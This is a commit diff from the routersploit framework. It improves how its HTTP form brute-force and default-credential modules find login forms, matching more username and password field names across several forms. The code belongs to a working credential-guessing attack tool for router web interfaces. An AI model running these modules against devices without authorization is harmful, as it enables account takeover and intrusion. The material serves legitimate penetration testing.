Skip to content

R
routersploit
Commit 0bb49931 by Marcin Bury
Options

Detect form improvements

parent ef3449a9
Showing with 73 additions and 24 deletions
routersploit/modules/creds/http_form_bruteforce.py
...@@ -140,26 +140,50 @@ class Exploit(exploits.Exploit): ...@@ -140,26 +140,50 @@ class Exploit(exploits.Exploit):
r = requests.get(url, verify=False) r = requests.get(url, verify=False)
soup = BeautifulSoup(r.text, "lxml") soup = BeautifulSoup(r.text, "lxml")
form = soup.find("form") forms = soup.findAll("form")
if form is None: if forms is None:
return None return None
res = []
action = None
user_name_list = ["username", "user", "user_name", "login", "username_login", "nameinput", "uname", "__auth_user", "txt_user", "txtusername"]
password_list = ["password", "pass", "password_login", "pwd", "passwd", "__auth_pass", "txt_pwd", "txtpwd"]
found = False
for form in forms:
tmp = []
if not len(form):
continue
action = form.attrs.get('action', None) action = form.attrs.get('action', None)
if action and not action.startswith("/"):
action = "/" + action
if len(form) > 0:
res = []
for inp in form.findAll("input"): for inp in form.findAll("input"):
if 'name' in inp.attrs.keys(): attributes = ["name", "id"]
if inp.attrs['name'].lower() in ["username", "user", "login", "username_login"]:
res.append(inp.attrs['name'] + "=" + "{{USER}}") for atr in attributes:
elif inp.attrs['name'].lower() in ["password", "pass", "password_login"]: if atr not in inp.attrs.keys():
res.append(inp.attrs['name'] + "=" + "{{PASS}}") continue
if inp.attrs[atr].lower() in user_name_list and inp.attrs['type'] != "hidden":
found = True
tmp.append(inp.attrs[atr] + "=" + "{{USER}}")
elif inp.attrs[atr].lower() in password_list and inp.attrs['type'] != "hidden":
found = True
tmp.append(inp.attrs[atr] + "=" + "{{PASS}}")
else: else:
if 'value' in inp.attrs.keys(): if 'value' in inp.attrs.keys():
res.append(inp.attrs['name'] + "=" + inp.attrs['value']) tmp.append(inp.attrs[atr] + "=" + inp.attrs['value'])
else: elif inp.attrs['type'] not in ("submit", "button"):
res.append(inp.attrs['name'] + "=") tmp.append(inp.attrs[atr] + "=")
if found:
res = tmp
res = list(set(res))
return (action, '&'.join(res)) return (action, '&'.join(res))
def target_function(self, running, data): def target_function(self, running, data):
......
routersploit/modules/creds/http_form_default.py
...@@ -87,6 +87,7 @@ class Exploit(exploits.Exploit): ...@@ -87,6 +87,7 @@ class Exploit(exploits.Exploit):
else: else:
self.data = self.form self.data = self.form
print_status("Attacking: ", self.path)
print_status("Using following data: ", self.data) print_status("Using following data: ", self.data)
# invalid authentication # invalid authentication
...@@ -133,26 +134,50 @@ class Exploit(exploits.Exploit): ...@@ -133,26 +134,50 @@ class Exploit(exploits.Exploit):
r = requests.get(url, verify=False) r = requests.get(url, verify=False)
soup = BeautifulSoup(r.text, "lxml") soup = BeautifulSoup(r.text, "lxml")
form = soup.find("form") forms = soup.findAll("form")
if form is None: if forms is None:
return None return None
res = []
action = None
user_name_list = ["username", "user", "user_name", "login", "username_login", "nameinput", "uname", "__auth_user", "txt_user", "txtusername"]
password_list = ["password", "pass", "password_login", "pwd", "passwd", "__auth_pass", "txt_pwd", "txtpwd"]
found = False
for form in forms:
tmp = []
if not len(form):
continue
action = form.attrs.get('action', None) action = form.attrs.get('action', None)
if action and not action.startswith("/"):
action = "/" + action
if len(form) > 0:
res = []
for inp in form.findAll("input"): for inp in form.findAll("input"):
if 'name' in inp.attrs.keys(): attributes = ["name", "id"]
if inp.attrs['name'].lower() in ["username", "user", "login", "username_login"]:
res.append(inp.attrs['name'] + "=" + "{{USER}}") for atr in attributes:
elif inp.attrs['name'].lower() in ["password", "pass", "password_login"]: if atr not in inp.attrs.keys():
res.append(inp.attrs['name'] + "=" + "{{PASS}}") continue
if inp.attrs[atr].lower() in user_name_list and inp.attrs['type'] != "hidden":
found = True
tmp.append(inp.attrs[atr] + "=" + "{{USER}}")
elif inp.attrs[atr].lower() in password_list and inp.attrs['type'] != "hidden":
found = True
tmp.append(inp.attrs[atr] + "=" + "{{PASS}}")
else: else:
if 'value' in inp.attrs.keys(): if 'value' in inp.attrs.keys():
res.append(inp.attrs['name'] + "=" + inp.attrs['value']) tmp.append(inp.attrs[atr] + "=" + inp.attrs['value'])
else: elif inp.attrs['type'] not in ("submit", "button"):
res.append(inp.attrs['name'] + "=") tmp.append(inp.attrs[atr] + "=")
if found:
res = tmp
res = list(set(res))
return (action, '&'.join(res)) return (action, '&'.join(res))
def target_function(self, running, data): def target_function(self, running, data):
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment